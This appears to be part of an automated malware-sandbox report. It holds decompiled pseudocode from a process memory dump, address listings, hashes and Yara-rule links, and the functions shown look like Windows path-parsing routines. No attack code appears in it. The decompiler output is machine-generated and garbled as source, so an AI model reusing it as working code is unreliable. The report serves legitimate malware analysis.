														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E04734CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E046BD130(_t427, _t494, _t511);
				}
			}

0x04735ba5
0x04735baa
0x04735baf
0x04735bb4
0x04735bb6
0x04735bbc
0x04735bbe
0x04735bc4
0x04735bcd
0x04735bd3
0x04735bd6
0x04735bdc
0x04735be0
0x04735be3
0x04735beb
0x04735bf2
0x04735bf8
0x04735bfe
0x04735c04
0x04735c0e
0x04735c18
0x04735c1f
0x04735c25
0x04735c2a
0x04735c2c
0x04735c32
0x04735c3a
0x04735c3f
0x04735c42
0x04735c48
0x04735c5b
0x04735c5b
0x04735c2c
0x04735cb7
0x04735cb9
0x04735cbf
0x04735cc2
0x04735cca
0x04735ccb
0x04735ccb
0x04735cd1
0x04735cd7
0x04735cda
0x04735ce1
0x04735ce4
0x04735ce7
0x04735ced
0x04735cf3
0x04735cf9
0x04735cff
0x04735d08
0x04735d0a
0x04735d0e
0x04735d10
0x00000000
0x00000000
0x04735d16
0x04735d1a
0x00000000
0x00000000
0x04735d20
0x04735d22
0x04735d25
0x04735d2f
0x04735d2f
0x04735d33
0x04735d3d
0x04735d49
0x04735d4b
0x00000000
0x00000000
0x04735d5a
0x04735d5d
0x04735d60
0x00000000
0x00000000
0x04735d66
0x04735d69
0x00000000
0x00000000
0x04735d6f
0x04735d6f
0x04735d73
0x04735d79
0x04735d7f
0x04735d86
0x04735d95
0x04735d98
0x04735dba
0x04735dcb
0x04735dce
0x04735dd3
0x04735dd6
0x04735dd8
0x04735de6
0x04735dec
0x04735dee
0x04735df1
0x04735df3
0x0473635a
0x0473635a
0x00000000
0x0473635a
0x04735dfe
0x04735e02
0x04735e05
0x04735e07
0x04735e10
0x04735e13
0x04735e1b
0x04735e1c
0x04735e21
0x04735e22
0x04735e23
0x04735e25
0x04735e2a
0x04735e2c
0x04735e2e
0x04735e36
0x04735e39
0x04735e42
0x04735e47
0x04735e4d
0x04735e54
0x04735e54
0x04735e54
0x04735e2e
0x04735e5c
0x04735e5f
0x04735e62
0x04735e64
0x04735e6b
0x04735e70
0x04735e7a
0x04735e7a
0x04735e7a
0x04735e6b
0x04735e7e
0x04735e7f
0x04735e7f
0x04735e81
0x04735e87
0x04735e8b
0x04735e8c
0x04735e8c
0x04735e8c
0x04735e9a
0x04735e9c
0x04735ea2
0x04735ea6
0x04735f50
0x04735f50
0x04735f57
0x04735f66
0x04735f66
0x04735f66
0x04735f68
0x04735f6a
0x047363d0
0x00000000
0x04735f70
0x04735f70
0x04735f91
0x04735f9c
0x04735f9e
0x04735fa4
0x04735fa6
0x0473638c
0x04736392
0x047363a1
0x047363a7
0x047363af
0x047363af
0x047363bd
0x047363d8
0x00000000
0x047363d8
0x04735fac
0x04735fb2
0x04735fb4
0x04735fbd
0x04735fc6
0x04735fce
0x04735fd4
0x04735fdc
0x04735fec
0x04735fed
0x04735fee
0x04735fef
0x04735ff9
0x04735ffa
0x04735ffb
0x04735ffc
0x04736000
0x04736004
0x04736012
0x04736012
0x04736018
0x04736019
0x0473601a
0x0473601b
0x0473601c
0x04736020
0x04736059
0x0473605c
0x04736061
0x04736061
0x04736022
0x04736022
0x04736022
0x04736025
0x0473602a
0x0473602b
0x04736031
0x04736037
0x04736038
0x0473603e
0x04736048
0x04736049
0x0473604a
0x0473604b
0x0473604c
0x0473604d
0x04736053
0x04736054
0x04736054
0x04736062
0x04736065
0x04736067
0x0473606a
0x04736070
0x04736075
0x04736076
0x04736081
0x04736087
0x04736095
0x04736099
0x0473609e
0x047360a4
0x047360ae
0x047360b0
0x047360b3
0x047360b6
0x047360b8
0x047360ba
0x047360ba
0x047360ba
0x047360ba
0x047360be
0x047360c0
0x047360c5
0x047360c5
0x047360c5
0x047360c6
0x047360cd
0x04736114
0x047360cf
0x047360cf
0x047360d4
0x047360d5
0x047360da
0x047360db
0x047360e1
0x047360e2
0x047360e8
0x047360f8
0x047360fd
0x047360fe
0x04736102
0x04736104
0x04736107
0x04736109
0x0473610b
0x0473610b
0x0473610b
0x0473610b
0x0473610f
0x0473610f
0x04736117
0x0473611a
0x0473611f
0x04736125
0x04736134
0x04736139
0x0473613f
0x04736146
0x04736148
0x0473614b
0x0473614d
0x0473614f
0x0473614f
0x0473614f
0x0473614f
0x04736153
0x04736159
0x04736159
0x0473615c
0x04736163
0x04736169
0x0473616c
0x04736172
0x04736181
0x04736186
0x04736187
0x0473618b
0x04736191
0x04736195
0x047361a3
0x047361bb
0x047361c0
0x047361c3
0x047361cc
0x047361d0
0x047361dc
0x047361de
0x047361e1
0x047361e4
0x047361e6
0x047361e8
0x047361e8
0x047361e8
0x047361e8
0x047361e6
0x047361ec
0x047361f3
0x04736203
0x04736209
0x0473620a
0x04736216
0x0473621d
0x04736227
0x04736241
0x04736246
0x0473624c
0x04736257
0x04736259
0x0473625c
0x0473625e
0x04736260
0x04736260
0x04736260
0x04736260
0x0473625e
0x04736264
0x04736267
0x04736269
0x04736315
0x04736315
0x0473631b
0x0473631e
0x04736324
0x04736327
0x0473632f
0x04736330
0x04736333
0x0473633a
0x0473633c
0x04736335
0x04736335
0x04736335
0x0473633f
0x04736342
0x0473634c
0x04736352
0x04736355
0x04736355
0x04736359
0x00000000
0x0473626f
0x04736275
0x04736275
0x04736278
0x0473627e
0x0473627e
0x04736281
0x04736287
0x0473628d
0x04736298
0x0473629c
0x047362a2
0x0473629e
0x0473629e
0x0473629e
0x047362a7
0x047362a7
0x047362aa
0x047362b0
0x047362f0
0x047362f0
0x047362f2
0x047362f8
0x047362fd
0x047362b2
0x047362b2
0x047362b2
0x047362b5
0x047362dd
0x047362e2
0x047362e5
0x047362b7
0x047362b8
0x047362bb
0x047362bd
0x047362c0
0x047362c4
0x047362cd
0x047362cd
0x047362c0
0x047362bb
0x047362b5
0x04736302
0x04736303
0x04736305
0x04736305
0x04736305
0x0473630c
0x0473630c
0x00000000
0x0473627e
0x04736269
0x04735eac
0x04735ebb
0x04735ebe
0x04735ecb
0x04735ecb
0x04735ece
0x04735ece
0x04735ed4
0x04735ed7
0x04735ed9
0x04735edb
0x04735edb
0x04735ee1
0x04735ee1
0x04735ee3
0x04735f20
0x04735f20
0x04735ee5
0x04735ee5
0x04735ee5
0x04735ee8
0x04735f11
0x04735f18
0x04735eea
0x04735eea
0x04735eed
0x04735ef2
0x04735ef8
0x04735efb
0x04735f0a
0x04735f0a
0x04735eed
0x04735ee8
0x04735f22
0x04735f28
0x00000000
0x00000000
0x04735f30
0x04735f31
0x04735f37
0x04735f3a
0x04735f3d
0x04735f44
0x00000000
0x00000000
0x00000000
0x04735f46
0x04735f48
0x04735f4d
0x00000000
0x04735f4d
0x04735dda
0x04735ddf
0x00000000
0x04735ddf
0x04735dd8
0x04735da7
0x04735da9
0x04735dac
0x04735dae
0x00000000
0x04735db4
0x04735db4
0x00000000
0x04735db4
0x04735dae
0x04735d88
0x04735d8d
0x04736363
0x04736369
0x0473636a
0x04736370
0x04736372
0x0473637a
0x0473637b
0x0473637d
0x00000000
0x00000000
0x0473637f
0x04736385
0x00000000
0x04736385
0x04735d38
0x04735d3b
0x00000000
0x00000000
0x00000000
0x04735d3b
0x04735d27
0x04735d29
0x00000000
0x00000000
0x00000000
0x04736360
0x00000000
0x04736360
0x04735c10
0x04735c10
0x047363da
0x047363e5
0x047363e5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aed6056e4441c675b0f8131ca1dd67c5312b96c45ff1263c309db1c86199de6e
Instruction ID: a638edf5ad76b12aa6492c0b6fe725bf93c997c3532867dcc85e708de0cd56a2
Opcode Fuzzy Hash: aed6056e4441c675b0f8131ca1dd67c5312b96c45ff1263c309db1c86199de6e
Instruction Fuzzy Hash: 1C426B75A00229DFDB24CF68C880BA9B7B1FF49305F1581AAD94DEB342E774A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04684120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E04684120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x475d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E0469F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E04686E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L04684620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E04686E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M046845F8))) {
												case 0:
													_v568 = 0x4641078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x46411c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L04684620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E046AF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E046AF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E046652A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E0467EB70(1, 0x47579a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E0467AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E046A95D0();
																			L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E046AB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E046A3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E046AB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x04684128
0x04684135
0x0468413c
0x04684141
0x04684145
0x04684147
0x0468414e
0x04684151
0x04684159
0x0468415c
0x04684160
0x04684164
0x04684168
0x0468416c
0x0468417f
0x04684181
0x0468446a
0x0468446a
0x0468418c
0x04684195
0x04684199
0x04684432
0x04684439
0x0468443d
0x04684442
0x04684447
0x00000000
0x0468419f
0x046841a3
0x046841b1
0x046841b9
0x046841bd
0x046845db
0x046845db
0x00000000
0x046841c3
0x046841c3
0x046841ce
0x046841d4
0x046ce138
0x046ce13e
0x046ce169
0x046ce16d
0x046ce19e
0x046ce16f
0x046ce16f
0x046ce175
0x046ce179
0x046ce18f
0x046ce193
0x00000000
0x046ce199
0x00000000
0x046ce199
0x046ce193
0x00000000
0x00000000
0x00000000
0x046841da
0x046841da
0x046841df
0x046841e4
0x046841ec
0x04684203
0x04684207
0x046ce1fd
0x04684222
0x04684226
0x046ce1f3
0x046ce1f3
0x0468422c
0x0468422c
0x04684233
0x046ce1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04684239
0x04684239
0x04684239
0x04684239
0x04684233
0x04684226
0x046841ee
0x046841ee
0x046841f4
0x04684575
0x046ce1b1
0x046ce1b1
0x00000000
0x0468457b
0x0468457b
0x04684582
0x046ce1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x04684588
0x04684588
0x0468458c
0x046ce1c4
0x046ce1c4
0x00000000
0x04684592
0x04684592
0x04684599
0x046ce1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0468459f
0x0468459f
0x046845a3
0x046ce1d7
0x046ce1e4
0x00000000
0x046845a9
0x046845a9
0x046845b0
0x046ce1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x046845b6
0x046845b6
0x046845b6
0x00000000
0x046845b6
0x046845b0
0x046845a3
0x04684599
0x0468458c
0x04684582
0x00000000
0x00000000
0x00000000
0x00000000
0x046841f4
0x0468423e
0x04684241
0x046845c0
0x046845c4
0x00000000
0x046845ca
0x046845ca
0x00000000
0x046ce207
0x046ce20f
0x00000000
0x00000000
0x00000000
0x00000000
0x046845d1
0x00000000
0x00000000
0x046845ca
0x00000000
0x04684247
0x04684247
0x04684247
0x04684249
0x04684249
0x04684249
0x04684251
0x04684251
0x04684257
0x0468425f
0x0468426e
0x04684270
0x0468427a
0x046ce219
0x046ce219
0x04684280
0x04684282
0x04684456
0x046845ea
0x00000000
0x046845f0
0x046ce223
0x00000000
0x046ce223
0x0468445c
0x0468445c
0x00000000
0x0468445c
0x00000000
0x04684288
0x0468428c
0x046ce298
0x04684292
0x04684292
0x0468429e
0x046842a3
0x046842a7
0x046842ac
0x046ce22d
0x046842b2
0x046842b2
0x046842b9
0x046842bc
0x046842c2
0x046842ca
0x046842cd
0x046842cd
0x046842d4
0x0468433f
0x0468433f
0x046842d6
0x046842d6
0x046842d9
0x046842dd
0x046842eb
0x046ce23a
0x046842f1
0x04684305
0x0468430d
0x04684315
0x04684318
0x0468431f
0x04684322
0x0468432e
0x0468433b
0x0468433b
0x00000000
0x0468432e
0x046842eb
0x0468434c
0x0468434e
0x04684352
0x04684359
0x0468435e
0x04684361
0x0468436e
0x0468438a
0x0468438e
0x04684396
0x0468439e
0x046843a1
0x046843ad
0x046843bb
0x046843bb
0x046843ad
0x0468436e
0x046843bf
0x046843c5
0x04684463
0x04684463
0x046843ce
0x046843d5
0x046843d9
0x046843df
0x04684475
0x04684479
0x04684491
0x04684491
0x04684479
0x046843e5
0x046843eb
0x046843f4
0x046843f6
0x046843f9
0x046843fc
0x046843ff
0x046844e8
0x046844ed
0x046844f3
0x046ce247
0x00000000
0x046844f9
0x04684504
0x04684508
0x0468450f
0x046ce269
0x00000000
0x04684515
0x04684519
0x04684531
0x04684534
0x04684537
0x0468453e
0x04684541
0x0468454a
0x046ce255
0x046ce255
0x046ce25b
0x046ce25e
0x046ce261
0x046ce261
0x04684555
0x04684559
0x0468455d
0x046ce26d
0x046ce270
0x046ce274
0x046ce27a
0x046ce27d
0x046ce28e
0x046ce28e
0x04684563
0x04684563
0x04684569
0x04684569
0x00000000
0x0468455d
0x0468450f
0x00000000
0x046844f3
0x046843ff
0x04684405
0x04684405
0x04684405
0x046842ac
0x0468428c
0x04684282
0x04684407
0x0468440d
0x046ce2af
0x046ce2af
0x04684413
0x04684413
0x00000000
0x046841d4
0x00000000
0x046841c3
0x046841bd
0x04684415
0x04684415
0x04684416
0x04684417
0x04684429
0x0468416e
0x0468416e
0x04684175
0x04684498
0x0468449f
0x046ce12d
0x00000000
0x046ce133
0x00000000
0x046ce133
0x046844a5
0x046844a5
0x046844aa
0x00000000
0x046844bb
0x046844ca
0x046844d6
0x046844d7
0x046844d8
0x046844e3
0x046844e3
0x046844aa
0x0468417b
0x0468417b
0x0468417b
0x00000000
0x0468417b
0x04684175
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dde410432c769bebd03c85e72c5d48beb8ce4d14d4031bf02a040774e1cfa6b
Instruction ID: f9c5fd2f773f7dfd48fd74f2ccfb917d356e6f6e3fe2db3f58d214dd96a15d93
Opcode Fuzzy Hash: 2dde410432c769bebd03c85e72c5d48beb8ce4d14d4031bf02a040774e1cfa6b
Instruction Fuzzy Hash: 2EF15A706083128BC724DF59C490A3AB7F1EF98718F154A2EF4868B350FB35E996DB52

Uniqueness

Uniqueness Score: -1.00%

Function 046920A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E046920A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x4758714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E04692EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E04692EB0(_t240 + 8);
									__eflags = _t197 - 2;
